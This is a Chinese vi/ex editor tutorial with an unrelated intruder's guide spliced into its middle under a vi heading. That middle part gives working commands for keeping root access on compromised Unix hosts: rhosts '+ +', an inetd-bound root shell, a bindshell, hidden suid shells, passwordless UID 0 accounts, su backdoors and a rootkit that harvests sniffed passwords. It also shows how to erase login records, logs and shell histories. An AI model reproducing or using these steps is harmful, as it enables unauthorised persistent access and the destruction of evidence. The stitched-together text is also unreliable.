VI 從入門到精通

Linux-vi介紹編 (1) vi快速入門

我是pico的使用者,在我是redhat linux使用者的時候,
    當時我覺得pico給我的感覺很親切,功能也很強大.
    
    了FreeBSD之後,突然發現竟然沒有pico,需要額外安裝
    pine才能夠取得.但這也無妨,反正安裝很快...
    
    直到有一天,當我要做取代的動作..這時....pico就....
    於是我投向了vi ...去了解他的規則表示式,
    一個簡單的小動作 讓繁瑣的工作瞬間解決.
    
    不但如此..vi 是所有unix-like都有的編輯器...不用額外安裝
    讓您在不同系統上也能夠很快的進入狀況.
    
  ◎FAST STARTUP
  
     若您之前不曾使用過全螢幕的編輯器,那麼您可能連一些簡單的編輯都有問題.
     如此您可能要找一個已經稍微瞭解vi使用的人來帶領您.
 
     vi是一個螢幕編輯器,這表示了vi幾乎用去了螢幕上的
     每一行空間來展示檔案的內容,除了螢幕上的最後一行.
     這一行是用來讓您發號命令給vi及vi給你一些相關檔案資訊時用的.
    
     其他您必須瞭解的是vi是一個模式型編輯器.舉例來說:
     你能輸入文字或者是執行命令,但是你必須在正確的模式才能夠執行.
    
     您一剛開始編輯一個檔案時,您處在命令模式(command  mode).
     有一些命令能夠讓您切換到輸入模式(input mode).
     然而,只有一個鍵能夠讓您離開輸入模式,那就是鍵盤左上的<Esc>鍵
     若您不瞭解您目前處於何種模式,您可以持續的按,直到vi發出聲音警告您,
     如此您已經回到命令模式.當您嘗試做了一些vi所不允許的事情,
     正常來說vi會發出"嗶"聲(本機操作時)
          
     要開始編輯一個檔案您可以這樣做:
       $ vi file_name <按enter鍵>
     
     然後輸入 :set verbose mode
     然後vi會提醒您:
     :set the mode option may never be turn on
     
     :雖說如此 但對初學者來說 有多些訊息提示總比沒有好
        放心 離開vi後就會恢復原先的noverbose mode
        
     如此可以讓vi當你產生錯誤時給予你多一些的訊息並當您猛按<Esc>鍵時
     ,會在螢幕的最下端顯示如下的訊息,提醒您已在命令模式.
     Already in comman mode 
     
     :命令皆需要在命令模式下實行.
     
    △簡易移動命令
          h      將標往左移動一個字元.

          j      將標往下移動一行.

          k      將標往上移動一行.

          l      將標往右移動一個字元.

       <方向鍵>  上下左右鍵也應該可以發揮作用.
     
          :若純粹使用windows 內建的telent方向鍵無法使用..
             所以知道hjkl的用處也不錯啦..
    
    △簡易搜尋命令
         /text   搜尋text字串
                 若今天我要搜尋panda則是 /panda , / 爲搜尋命令.
                
    △模式切換       

         a      在標後可以新增開始新增

         i      在標前可以開始新增文字

         o      在標的下方新增一行,並可以開始輸入文字.

         O      在標的上方新增一行,並可以開始輸入文字.

       <Esc>    當你今天用a,i,o,O進入輸入模式,可以用<Esc>鍵回到命令模式.

          :經個人使用發現 模式切換隻要記住幾個就好 依照一般輸入習慣,
             建議初學者記住a,O就好 (雖然到最後您會在不知不覺中全部記下)
             尤其是O看似沒有o好用,但是今天若您想要在最上方新增一行時,
             記得O這個指令真是方便阿..
     
    △文字處理命令        
       : 
             yy     標所在行.
             p      在標所在的下一行貼上所的資料.

       刪除:
             dd     將標所在行刪除.
             x      將標所在的那個字元刪除.

       儲檔:
             :w     以原檔案名稱儲存檔案.
             :w file_name   另存新檔,檔名爲file_name

       離開:
            :q      離開編輯及vi,若您已經編輯過檔案vi會拒絕您離開. 
            :q!     強制離開vi 不論情況

       : 所謂的一行 有可能在螢幕上是很多行(因爲螢幕的一行擺放不下)
           只要沒有換行符號產生 那就稱之爲一行,用標移動您就會明.
  
  ◎小結:以上這些只是基礎的vi功能,熟悉了這些,您已經會了簡單的文書處理,
         已經可以逐漸擺脫pico之類的編輯器,投向vi的懷抱.
         過一陣子,當您漸漸瞭解vi的強大,ㄏㄏ...

  ◎參考資料: man vi 

 Linux-vi介紹編 (2) 參數簡介

◎ex, vi, view - text editors

  ◎SYNOPSIS 
   
     vi [-eFGlRrSv] [-c cmd] [-t tag] [-w size] [file ...]
     ex [-eFGRrSsv] [-c cmd] [-t tag] [-w size] [file ...]
      
  ◎DESCRIPTION
  
     ex和vi是相同程式但不同介面,ex是一行處理的(line-oriented),
     vi是以全螢幕爲基準的(screen oriented).二者能相互切換.
    
     View相當於vi使用-R(唯讀)參數
    
  ◎OPTIONS

       -e     以ex模式開始編輯,如同用ex編輯一般。
              vi -e filename 等同於 ex filename

       -F     當第一次編輯時,不要讓vi整個檔案。
              (預設是整個檔案,以避免當您在編輯時,他人更改這個檔案。)

       -R     以唯讀模式開啓,如同以vipw開啓檔案,或在命令列中設定readonly參數。

       -r     重新取得某個特定檔案,若沒有指定檔案,檔案表列會被重新取得。
              若沒有該指定檔案,檔案會被視爲沒有-r參數編輯。

       -S     以安全編輯模式啓動,不允許所有的外部程式存取。

       -s     進入batch模式,只能應用在ex編輯。batch模式在執行ex scripts非常有用。
              一些及時資訊及其他使用者導向的訊息被忽略(不顯示),
              沒有開始檔案或環境變數被讀取。

       -w     設定基本的視窗大小,用以定義顯示的行數。

       -v     以vi模式開始編輯,如同vi 或view命令。

       ex/vi從標準輸入讀取訊息,在vi介面, 若標準輸入不是一個終端機,會產生錯誤。
       在ex介面,若標準輸入不是終端機,無論如何ex會試着從他讀取命令。
       然而,此時會以batch模式進行,如同-s參數被指定。
    
  ◎參考資料: man vi  
Linux-vi介紹編 (3) vi命令

附件:HUCkit.zip 



教程所需軟件:HUCkit.zip(附件) 

http://www.cnhonker.com/HUCkit.zip 





一.後門的安放 





當我們通過某種手段控制一個主機時,爲了使自己能再次光顧這臺計算機,我們通常在這個機器上留下後門,以便我們再次訪問.一個做得好的後門,即使在入侵被管理員發現後,仍然能讓你再次訪問到主機. 

本文的意旨是讓你學會如何在完全控制系統後保留自己的根用戶權限,下面介紹一下我常用的製作後門的手法,不會也不可能覆蓋到所有可能的方法,請原諒. 





1.Rhosts + + 後門 



  在連網的Unix機器中,象Rsh和Rlogin這樣的服務是基於rhosts文件裏的主機名使用簡單的認證方法. 用戶可以輕易的改變設置而不需口令就能進入. 入侵者只要向可以訪問的某用戶的rhosts文件中輸入"+ +", 就可以允許任何人從任何地方無須口令便能進入這個帳號. 特別當home目錄通過NFS向外共享時, 入侵者更熱中於此. 這些帳號也成了入侵者再次侵入的後門. 許多人更喜歡使用Rsh, 因爲它通常缺少日誌能力. 許多管理員經常檢查 "+ +", 所以入侵者實際上多設置來自網上的另一個帳號的主機名和用戶名,從而不易被發現. 

例如: 

# echo '+ + ' > /usr/bin/.rhosts 

# cat /usr/bin/.rhosts 

+ + 

# rlogin -l bin localhost 

將不用輸入密碼直接用bin帳號rlogin登陸進你的機器. 





2.Login後門 



  在Unix裏,login程序通常用來對telnet來的用戶進行口令驗證. 入侵者獲取login.c的原代碼並修改使它在比較輸入口令與存儲口令時先檢查後門口令. 如果用戶敲入後門口令,它將忽視管理員設置的口令讓你長驅直入. 這將允許入侵者進入任何帳號,甚至是root.由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmp前產生一個訪問的, 所以入侵者可以登錄獲取shell卻不會暴露該帳號. 管理員注意到這種後門後, 便用"strings"命令搜索login程序以尋找文本信息. 許多情況下後門口令會原形畢露. 入侵者就開始加密或者更好的隱藏口令, 使strings命令失效. 所以更多的管理員是用MD5校驗和檢測這種後門的. 

一般的rootkit包裏都有login後門程序. 





3.服務進程後門 



  inetd 進程負責監聽各個TCP和UDP端口的連接請求,並根據連接請求啓動相應的服務器進程。該配置文件 /etc/inetd.conf 很簡單,基本形式如下: 

(1) (2) (3) (4) (5) (6) (7) 

shell stream tcp nowait root /usr/sbin/in.rshd in.rshd 

login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind 

exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd 

comsat dgram udp wait root /usr/sbin/in.comsat in.comsat 

talk dgram udp wait root /usr/sbin/in.talkd in.talkd 



1:第一欄是服務名稱。服務名通過查詢 /etc/services 文件(供 TCP 和 UDP 服務使用)或 portmap 守護進程(供 RPC 服務使用)映射成端口號。RPC(遠程過程調用)服務由 name/num 的名字格式和第三欄中的 rpc 標誌識別。 

2:第二欄決定服務使用的套接口類型:stream、dgram 或 raw。一般說來,stream 用於 TCP 服務,dgram 用於 UDP, raw 的使用很少見。 

3:第三欄標識服務使用的通信協議。允許的類型列在 protocols 文件中。協議幾乎總是是 tcp 或 udp。RPC 服務在協議類型前冠以 rpc/。 

4:如果所說明的服務一次可處理多個請求(而不是處理一個請求後就退出),那麼第四欄應置成 wait,這樣可以阻止 inetd 持續地派生該守護進程的新拷貝。此選項用於處理大量的小請求的服務。如果 wait 不合適,那麼在本欄中填 nowait。 

5:第五欄給出運行守護進程的用戶名。 

6:第六欄給出守護進程的全限定路徑名。 

7:守護進程的真實名字及其參數。 如果所要處理的工作微不足道(如不需要用戶交互),inetd 守護進程便自己處理。此時第六、七欄只需填上 'internal' 即可。所以,要安裝一個便利的後門,可以選擇一個不常被使用的服務,用可以產生某種後門的守護進程代替原先的守護進程。例如,讓其添加 UID 0 的帳號,或複製一個 suid shell。 



當然我們有一個更簡單的方法, 

下面的操作bind root shell 1524端口. 

# echo 'ingreslock stream tcp nowait root /bin/ksh ksh -i' > /tmp/.x 

# /usr/sbin/inetd -s /tmp/.x 

# rm -f /tmp/.x 

# telnet localhost 1524 

Trying 127.0.0.1... 

Connected to localhost. Escape character is '^]'. 



# id 

ksh: id^M: not found 

# id; 

uid=1002(gao) gid=1(other) euid=0(root) 

ksh: ^M: not found 

# exit; 

Connection closed by foreign host. 



注意,這樣bind的shell在telnet上去後,你要在你想執行的命令後面添加一個" ; "號.即你要執行id命令的輸入應爲: id; 

當然你也可以把ingreslock換成其他服務.具體請查看/etc/services尋找對應的服務名和端口. 

下面爲部分/etc/services內容. 

# cat /etc/services 

#ident "@(#)services 1.20 98/07/08 SMI" /* SVr4.0 1.8 */ 



# Network services, Internet style 



tcpmux 1/tcp 

echo 7/tcp 

echo 7/udp 

discard 9/tcp sink null 

discard 9/udp sink null 

systat 11/tcp users 

daytime 13/tcp 

daytime 13/udp 

netstat 15/tcp 

chargen 19/tcp ttytst source 

chargen 19/udp ttytst source 

ftp-data 20/tcp 

ftp 21/tcp 

telnet 23/tcp 

smtp 25/tcp 

mail time 37/tcp timserver 

time 37/udp timserver 

name 42/udp nameserver 

whois 43/tcp nicname # usually to sri-nic 

domain 53/udp 

domain 53/tcp 

bootps 67/udp # BOOTP/DHCP server 

bootpc 68/udp # BOOTP/DHCP client 

... 

... 





4.port bind suid Shell 後門 



  入侵者可能在任意端口bind suid Shell後門. 許多情況下,他們用口令進行保護以免管理員連接上後立即看到是shell訪問. 管理員可以用netstat命令查看當前的連接狀態, 那些端口在偵聽, 目前連接的來龍去脈. 

  我提供的壓縮包door.zip裏有一個ekobackdoor-v1.1.tar,爲linux下的bindshell程序包.大家可以自己編譯一下. 

  方法爲, 

修改ekobdoor.c 

查找 

#define PASSWORD "ekorulez" 

把"ekorulez" 改成你要的密碼. 

比如 

#define PASSWORD "cnhonker" 

把ekobackdoor-v1.1.tar解壓然後make 

就可以了. 

具體使用方法爲: 

# ./ekobdoor [opcion] [argumento] 

下面爲不用輸入密碼的 



# ./ekobdoor -b 31337 



c:/ telnet 200.45.0.115 31337 

Trying 200.45.0.115... 

Connected to 200.45.0.115. 

Escape character is '^]'. 





下面爲需要輸入密碼的. 

# ./ekobdoor -s 31337 

   

c:/ telnet 200.45.0.115 31337 

Trying 200.45.0.115... 

Connected to 200.45.0.115. 

Escape character is '^]'. 



cnhonker --->輸入密碼. 





這裏的31337你可以改成你想要的端口. 

當然它還有更多其他功能.具體你用 -h 查看 

#./ekobdoor -h 







5.suid shell 



  在 /tmp 或者其他的目錄下放置 suid shell。以後只要你運行這個程序,就會輕易得到根用戶權限。 

#cp /bin/ksh /tmp/.sh 

#chown root:root /tmp/.sh 

#chmod +s /tmp/.sh 

當你運行/tmp/.sh時, 

這裏我們用ksh shell是因爲ksh 可以suid.換成其他的shell也許可能不行,具體看各個主機的情況而定.一般我們使用ksh.我們使用的溢出程序用來獲得root權限的,也一般是溢出後執行/bin/ksh. 

$id 

uid=1002(oracle) gid=1(other) 

$/tmp/.sh 



#id 

uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root) 

我們又是root了. 

當然,爲了更加隱蔽,我們不能把suid shell 放在/tmp 

因爲它是很容易被發現的. 

我們應該放在深層的目錄裏面. 

比如:  

/usr/X11/include/X11/ 

或者 

/usr/lib/ 

等等 

通常我做的是: 

# mkdir /usr/lib/lib/  mkdir /usr/lib/lib/... 

# cp /bin/ksh /usr/lib/lib/.../lib 

# chown root:sys /usr/lib/lib/.../lib 

# chmod 4555 /usr/lib/lib/.../lib 

# touch -r /bin/ksh /usr/lib/lib/.../lib 

一個簡單的suid shell安放好了. 

不過,大家不要學我,我們要放在最隱蔽的地方.我新建目錄的隱藏效果不是最好的. 

我們必須利用現有的目錄來安放,並且這個目錄要有很多其它的文件做掩護. 

大家不防試試/usr/man/下的目錄. 

很少管理員會檢查這裏的. 

比如: 

/usr/man/man1/ 

/usr/man/manl/ 

等. 

比如: 

# cp /bin/ksh /usr/man/man1/ja.1 



:)當然具體要看你自己琢磨一下了.我敢說不難,最好多放置幾個suid shell 在不同的目錄.這樣即使管理員發現了一個,也還有另外一個.:) 





6.su 後門 



  在流行的rootkit包裏,一般都有su 後門程序,當你在目標機器上安裝了以後,只要你有普通用戶的訪問權限,就可以用su的後門密碼su成你想要的用戶.:) 

例如在裝過su後門的機器上運行: 

$id 

uid=1002(oracle) gid=1(other) 

$su root 

passwd:cnhonker ->su後門密碼. 



#id 

uid=0(root) gid=0(root) 

成功su成root.而不管root的密碼爲什麼密碼. 

另外還有一種是su 木馬,用來騙取su 密碼的.這裏不在詳述. 





7.修改密碼文件 



  最簡單的方法,就是在口令文件 passwd 中增加一個 UID 爲 0 的帳號。 

下面的操作增加一個不用密碼的www用戶,uid gid 都爲0,還有最好先備份一下密碼文件. 

#cp /etc/passwd /tmp/passwd 

#cp /etc/shadow /tmp/shadow 

#echo 'www:x:0:0::/:/bin/sh' >> /etc/passwd 

#echo 'www::::::::' >> /etc/shadow 

# id uid=1002(gao) gid=1(other) euid=0(root) egid=0(root) 

# su www 

# id 

uid=0(root) gid=0(root) 

可以看到,su成www時將不用輸入密碼,同樣,telnet 等也不用出示密碼. 

但這種方法很容易被發現,通常我們編輯密碼文件修改裏面沒有使用的默認帳號. 





8.Crontab 後門 



根用戶的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下: 

(1) (2) (3) (4) (5) (6) 

0 0 * * 3 /usr/bin/updatedb 



以上內容設置/usr/bin/updatedb程序於每星期三 0:0 運行。 

其中: 

1. 分鐘 (0-60) 

2. 小時 (0-23) 

3. 日 (1-31) 

4. 月 (1-12) 

5. 星期 (1-7) 

6. 所要運行的程序 



我們只需在 /var/spool/crontab/root 中添加我們的後門程序即可。 

比如運行一個產生一個高位port的bind root shell的程序.或者替換服務進程的程序. 





9.rootkit後門包 



這也是最常用有效實用的方法. 

這裏我提供一個我修改過的編譯好的sun os sparc下的rootkit包,在HUCkit.zip裏的sun.tar 

使用方法爲: 

在取得sun os sparc 的root權限後 

#tar -xf sun.tar 

#cd sun 

#./setup cnhonker 



就可以了. 

其中, 

cnhonker爲你要設的rootkit密碼. 

如果你只運行./setup 

那麼程序會隨機爲你生成一個密碼.請記住它.它可是你的通行證哦. 

還有我取消了login後門的安裝,因爲它很容易暴露自己.並且很容易出錯. 

還有,完全裝好後,不要忘了去/dev/prom 

用cat查看每一個文件哦. 

:) 

哪裏是嗅探器存放結果的地方.包括 mail ftp telnet rlogin su 等等. 

# cat /dev/prom/sn.l 

爲mail ftp telnet rlogin等的記錄 

# cat /dev/prom/sulog 

爲su的密碼記錄.沒有必要花時間去破解shadow文件哦.:) 

其它的rootkit包大家引擎搜索一下就可以找到很多.這裏不再提供. 





二.日誌的清除 









由於涉及的系統廣泛的問題,不可能將所有unix類系統的日誌說清楚,但它們大多是差不多的,下面我只用常見的sunos & redhat做介紹.其它的系統請查看相關資料. 



unix系統日誌文件通常是存放在"/var/log and /var/adm"目錄下的。通常我們可以查看syslog.conf來看看日誌配置的情況.如:cat /etc/syslog.conf 



其中sunos的在/var/log 和 /var/adm下.還有/usr/adm爲/var/adm的的鏈接. 

redhat的在/var/log 和 /var/run下. 

下面的是sun os5.7中的日誌樣本. 



# ls /var/adm 

acct    log      messages.1    passwd    sulog   vold.log 

aculog   messages   messages.2    sa      utmp    wtmp 

lastlog   messages.0  messages.3    spellhist   utmpx   wtmpx 

   

# ls /var/log 

authlog      syslog    syslog.1   syslog.3 

sysidconfig.log  syslog.0   syslog.2   syslog.4 



下面的是redhat6.2中的日誌樣本. 



# ls /var/log 

boot.log   dmesg       messages.2    secure     uucp 

boot.log.1  htmlaccess.log  messages.3    secure.1    wtmp 

boot.log.2  httpd       messages.4    secure.2    wtmp.1 

boot.log.3  lastlog      netconf.log   secure.3    xferlog 

boot.log.4  mailllog      netconf.log.1  secure.4    xferlog.1 

cron     maillog      netconf.log.2  sendmail.st   xferlog.2 

cron.1    maillog.1     netconf.log.3  spooler     xferlog.3 

cron.2    maillog.2     netconf.log.4  spooler.1    xferlog.4 

cron.3    maillog.3     news       spooler.2 

cron.4    maillog.4     normal.log    spooler.3 

daily.log   messages     realtime.log   spooler.4 

daily.sh   messages.1     samba       transfer.log 



# ls /var/run 

atd.pid    gpm.pid    klogd.pid   random-seed    treemenu.cache 

crond.pid   identd.pid   netreport   runlevel.dir   utmp 

ftp.pids-all inetd.pid   news      syslogd.pid 



一般我們要清除的日誌有 

lastlog 

utmp(utmpx) 

wtmp(wtmpx) 

messages 

syslog 

sulog 



此外,各種shell還會記錄用戶使用的命令歷史,它使用用戶主目錄下的文件來記錄這些命令歷史,通常這個文件的名字爲.sh_history(ksh),.history(csh),或.bash_history(bash)等。 

   

一般把以上說的日誌給擦一下,就可以了.:) 

下面我來說說上面這些我們要清除的日誌的相關資料和清除方法.更詳細的資料和其他的日誌請你查看相關資料. 



首先我們說說這幾種日誌的功能.->它記錄的是什麼? 



lastlog 



lastlog記錄每個用戶的最近一次的登陸時間和每個用戶的最初目的地. 

當一個用戶登陸到unix系統時,註冊程序在lastlog文件中查找該用戶的uid ,如果該程序找到了該用戶的uid,unix就會顯示最後一次登陸的時間和TTY(終端號) 

下面是一個例子: 

SunOS 5.7 

login: gao 

Password: 

No directory! Logging in with home=/ 

Last login: Sun Feb 4 22:18:25 from 211.167.1.24 

Sun Microsystems Inc. SunOS 5.7 Generic October 1998 $ 



.然後註冊程序用新的登陸時間和TTY信息更新lastlog文件,而且該程序帶更新utmp wtmp.文件. 



utmp 



utmp 日誌記錄以前登陸到系統中的所有用戶.這個文件隨着用進入和離開系統而不斷的變化.它還會爲系統中的用戶保持很長的歷史記錄,utmp日誌通常存儲在/etc/utmp,可以使用w 和who 命令查看utmp.但其他的一些命令也可以訪問這個文件.:)比如finger users.現在的utmp一般都有一個utmpx文件做爲日誌記錄的補充.別忘了擦這個pp哦.:) 



wtmp 



wtmp文件記錄用戶登陸和退出事件,它和utmp類似.但它隨着登陸的次數的增加它會變得越來越大.有些系統的ftp訪問也在這個文件裏記錄.同時它也記錄正常的系統退出時間.可以使用last和ac命令訪問它. 



syslog & messages 



通過查看/etc/syslog.conf我們可以知道syslog記錄些什麼.:) 

很多各種各樣的程序產生的日誌都由它記錄. 

同時它還有一個syslogd進程爲它服務. 

在缺省時,它把大多的信息傳給/var/adm/messages 



sulog 



sulog爲切換用戶命令su的使用記錄日誌. 

他通常在/var/adm/sulog 

如果你在機器上用過su命令,別忘了清除掉哦.:) 





shell記錄 



.sh_history(ksh),.history(csh),或.bash_history(bash)等,是shell執行時的歷史記錄.記錄用戶執行的命令.它一般存在於用戶的主目錄.別忘了去根目錄看看哦.我入侵機器時,也經常能發現別人的hacking記錄哦.:)所以你一定要記得清除. 





1.日誌都是一些文本形式的文件.最笨的方法是用文本編輯器來編輯日誌文件.刪除相關的記錄.來達到擦拭腳印和隱藏自己的效果. 

比如用vi等 

但這樣做是很笨的.太麻煩,工作量太大. 

如果有50臺機器要你處理,那麼,呵呵....看你忙到什麼時候 

:) 



2.以前我剛開始學unix時.經常用rm -f 來刪掉日誌.比如rm -f /usr/adm/lastlog 

呵呵  

這樣做是很蠢的. 

更容易被管理員發現有人入侵.但是,相對來說自己還是保護好了.:) 

可以用在一些不太重要的機器上. 



3.用 > 定向符清除. 

比如: 

#cat > /usr/log/lastlog 

  ->這裏輸入你要的寫的東西.最好僞裝得像一些,也可以不輸入哦.:) 

^d ->這裏的^d是按鍵 ctrl + d. 



如果上戰場沒有帶日誌清除工具,我一般也用這個清除的.:)省事 

要不找幾個舊的日誌覆蓋它:) 





========================================================== 

4.當然最好的是用日誌清除工具. 

輸入幾個命令讓程序幫你擦:) 



a.常見的日誌清除工具. 

 一般的rootkit包裏有的:z2.c 和wted.c 

很容易找到. 

網上的教程很多都是介紹這兩個工具的使用的. 

這裏我就不再論述了.:)節省時間. 



b.這裏我提供一個我以前有段時間常用的日誌清除腳本. 

在HUCkit.zip裏的 cleaner.sh 

我們這樣使用它 



# chmod 755 cleaner.sh 

# ./cleaner.sh 

Log cleaner v0.5b By: Tragedy/Dor * 

* Usage: cleaner.sh 

# ./cleaner.sh username 



其中,username 爲你要清除日誌的的用戶帳號. 

:) 

比如: 



#./cleaner.sh gao 

Log cleaner v0.5b By: Tragedy/Dor OS 

detection.... 

Detected SunOS 

---<[ Log cleaning in process.... 

* Cleaning aculog ( 0 lines)...0 lines removed! 

* Cleaning lastlog ( 19789 lines)...45 lines removed! 

* Cleaning messages ( 12 lines)...1 lines removed! 

* Cleaning messages.0 ( 12 lines)...0 lines removed! 

* Cleaning messages.1 ( 28 lines)...0 lines removed! 

* Cleaning messages.2 ( 38 lines)...0 lines removed! 

* Cleaning messages.3 ( 17 lines)...0 lines removed! 

* Cleaning spellhist ( 0 lines)...0 lines removed! 

* Cleaning sulog ( 986 lines)...6 lines removed! 

* Cleaning utmp ( 179 lines)...1 lines removed! 

* Cleaning utmpx ( 387 lines)...1 lines removed! 

* Cleaning vold.log ( 0 lines)...0 lines removed! 

* Cleaning wtmp ( 299 lines)...0 lines removed! 

* Cleaning wtmpx ( 565 lines)...0 lines removed! 

* Cleaning authlog ( 0 lines)...0 lines removed! 

* Cleaning syslog ( 53 lines)...0 lines removed! 

* Cleaning syslog.0 ( 14 lines)...0 lines removed! 

* Cleaning syslog.1 ( 64 lines)...0 lines removed! 

* Cleaning syslog.2 ( 39 lines)...0 lines removed! 

* Cleaning syslog.3 ( 5 lines)...0 lines removed! 

* Cleaning syslog.4 ( 3 lines)...0 lines removed! 

* Cleaning syslog.5 ( 210 lines)...0 lines removed! 





這個用/bin/sh的腳本有一個問題, 

就是必須你要有uid =0 的權限.即root. 

euid = 0 會不能正常工作,報告權限不夠. 

解決方法是: 

大家可以改裏面的#!/usr/sh 爲你設置好的suid shell.:) 



這個腳本有一個好處,就是不用編譯,並且可以在多個系統下面工作.如redhat sunos等等. 

還可以用 

cat > clog.sh 

來方便的拷貝到主機.不用ftp 去取.:) 

還有一個命令可以清除大部分的日誌. 

這也是我常用它的原因. 

但它做的太乾淨了,把以前的記錄也刪除了.:( 

有時候也會不太乾淨.比如lastlog.utmp可能有時會清除不了. 

所以,現在我一般結合兩個工具來清除日誌. 



好的一般放在後面介紹.:) 

下面介紹一個我覺得比較好的另一個日誌清除器.:) 

在HUCkit.zip裏的wipe-1.00.tgz. 

他完全可以清除 

lastlog 

utmp 

utmpx 

wtmp 

wtmpx 



:) 

下面我們來看看.(示範工作平臺sunos 5.7) 



# gzip -d wipe-1.00.tgz 

# tar -xf wipe-1.00.tar 

# cd wipe-1.00 

# ls -al 

總數32 

drwxr-xr-x  2  root  root     512   2月 4 20:48   . 

drwxrwxrwx  6  root  other    1024   2月 4 18:40   .. 

-rw-r--r--  1  root  root     130   1997 1月 9   INSTALL 

-rw-r--r--  1  root  staff    1389   1997 1月 9   Makefile 

-rw-r--r--  1  root  root     498   1997 1月 9   README 

-rw-r--r--  1  root  staff   10027   1997 1月 9   wipe.c 

# make 



Wipe v0.01 ! 



Usage: 'make ' where System types are: 



  linux freebsd sunos4 solaris2 ultrix 

  aix irix digital bsdi netbsd hpux 







我們可以看到它需要出示 系統的選項.這些選項是: 

  linux freebsd sunos4 solaris2 ultrix 

  aix irix digital bsdi netbsd hpux 



我們要清除相關的系統日誌就必須在相同的系統下編譯. 

比如我們要在redhat等linux下編譯,就應爲: make linux 

在freebsd下編譯就應爲:make freebsd 

在sunos 4下編譯,就應爲: make sunos4 

在sunos 5以上的系統裏編譯,就應爲:make solaris2 



這裏我們用make solaris2 

sunos 5 以上就叫做solaris了. 

# make solaris2 

gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c 

# ls -al 

總數94 

drwxr-xr-x  2  root  root   512   2月 4 21:03   . 

drwxrwxrwx  6  root  other  1024   2月 4 18:40   .. 

-rw-r--r--  1  root  root   130   1997 1月 9   INSTALL 

-rw-r--r--  1  root  staff  1389   1997 1月 9   Makefile 

-rw-r--r--  1  root  root    498   1997 1月 9   README 

-rwxr-xr-x  1  root  other  30920   2月 4 21:03  wipe 

-rw-r--r--  1  root  staff  10027   1997 1月 9   wipe.c 

#./wipe 



USAGE: wipe [ uwla ] ...options... 



UTMP editing: Erase all usernames : wipe u [username] 

  Erase one username on tty: wipe u [username] [tty] 



WTMP editing: Erase last entry for user : wipe w [username] 

  Erase last entry on tty : wipe w [username] [tty] LASTLOG 



editing: Blank lastlog for user : wipe l [username] Alter lastlog 

  entry : wipe l [username] [tty] [time] [host] 

  Where [time] is in the format [YYMMddhhmm] 



ACCT editing: Erase acct entries on tty : wipe a [username] [tty] 





大家可以看到編譯好的wipe的使用方法. 

其中 u 選項爲 utmp utmpx 日誌擦除.. 

w 選項爲 wtmp wtmpx 日誌擦除. 

l 選項爲 lastlog 日誌擦除. 

a 爲/var/adm/pacct日誌擦除.(一般不用這個.:) 



其中[tty]爲終端號.爲在有多個相同帳號同時登陸時,清除日誌的使用選項.當然是要你的終端號哦.:) 

大家可以用 w 命令查終端號. 

比如: 

# w 

下午 9:15 1 user, 平均負荷: 0.00, 0.00, 0.01 

用戶名   終端號   登入時間   閒置   JCPU   PCPU   執行命令 

gao    pts/1   下午 7:40        3          w 



下面的是我在sunos 5.7上的具體的使用情況.:) 



# w 

下午 9:15 1 user, 平均負荷: 0.00, 0.00, 0.01 

用戶名   終端號   登入時間   閒置   JCPU   PCPU   執行命令 

gao    pts/1   下午 7:40        3          w 



# ./wipe u gao 

Patching /var/adm/utmp .... Done. 

Patching /var/adm/utmpx .... Done. 



# w 

下午 9:15 1 user, 平均負荷: 0.00, 0.00, 0.01 

用戶名   終端號   登入時間   閒置   JCPU   PCPU   執行命令 



# ./wipe w gao 

Patching /var/adm/wtmp .... Done. 

Patching /var/adm/wtmpx .... Done. 

# ./wipe l gao 

Patching /var/adm/lastlog .... Done. 



好了. 

lastlog utmp utmpx wtmp wtmpx 擦完了. 

大家看到 wipe u gao 了嗎? 

爲什麼我打了個w命令呢? 

呵呵 

想想. 

所以我們一般在登陸進系統後就運行 wipe u gao.來隱藏自己.:) 



當然我們不要忘了shell 記錄哦. 

# ls -al /.*history 

-rw------- 1 root other 456 2月 4 20:27 .sh_history 

# rm -f .*history 

# cd 

# pwd 

/home/gao 

# ls -al /.*history 

-rw------- 1 root other 456 2月 4 20:27 .sh_history 

# rm -f .*history 





ok, 一個腳本加一個程序.再加一個操作,能保證你基本安全了.:) 

當然如果你對系統有進一步瞭解,就能發現.這樣清除還是有問題的.:) 

好了.不說了. 



最後放上我常去的幾個網站. 

1. 

securityfocus 

http://www.securityfocus.com 

2. 

packet storm 

http://packetstorm.securify.com 

3. 

www.hack.co.za 

http://www.hack.co.za/ 

4. 

lsd-pl.net 

http://www.lsd-pl.net/ 

5. 

securiteam 

http://www.securiteam.com/ 

6. 

Stardust's exploit search 

http://st4rdust.heha.net/query.html 

7. 

CNNS 

http://www.cnns.net/

Linux-vi介紹編 (3) ex命令

◎EX COMMANDS
      以下的命令屬於ex編輯器所用.也就是說要在vi執行時需要先換成ex mode (:)
      vi/ex mode切換 於ex mode輸入vi 即可.
      
      ! shell command   執行shell命令

            "           解
      
          # 數字        顯示選擇的行數,每行前面標示出行號.

       * buffer_name    執行該buffer

         [行數]a!       在該行的下一行,產生輸入的文字. 行數從 0 開始.
                        :1a!     (在第二(1+1=2)行產生輸入文字)
                        接着會出現如下的訊息
                        Entering ex input mode
                        接着您就可以輸入文字 按 ctrl+c 結束

         [行數]c!       該行用輸入的文字取代. 行數從1開始.
                        :1c!     (在第一行產生取代文字) 接着會出現如下的訊息
                        Entering ex input mode
                        接着您就可以輸入文字取代 按 ctrl+c 結束
       
         [行數圍]d    將處於該行數圍內的文章刪除.
                        1,3d     (表示從第1行到第3行刪除; ,表示到的意思)
       
    [Ee]dit! file_name
    [Ee]x! file_name    編輯不同的檔案,此爲編輯file_name,[]表示其中之一。
                        也可以用 :e file_name 或 :edit file_name 編輯不同檔案

    exu[sage] [ex命令]  顯示該ex命令的使用方式。
                      顯示edit的使用方式  :exu edit   顯示結果如下
                       +-+-+-+-+-+-+-+-+-+
                       command begin editing another file
                           Usage:[Ee][dit][!] [+cmd] [file]
                       Press any key to continue [: to enter more ex commands]:
                       分別顯示出 簡易敘述 使用語法 結束或繼續
       
    f[ile] [file_name]  顯示檔案訊息 ( 與vi命令中的ctrl+g類似 )

    [range] g[lobal] /樣式/ [ex命令]  將符合條件的樣式加以用ex命令處理
                                      可以設定圍,若沒有圍設定表示全部。
                                      若不加命令只會顯示符合樣式的內容。
                                      如 :g/BSD/ (顯示有BSD的行列)
                         
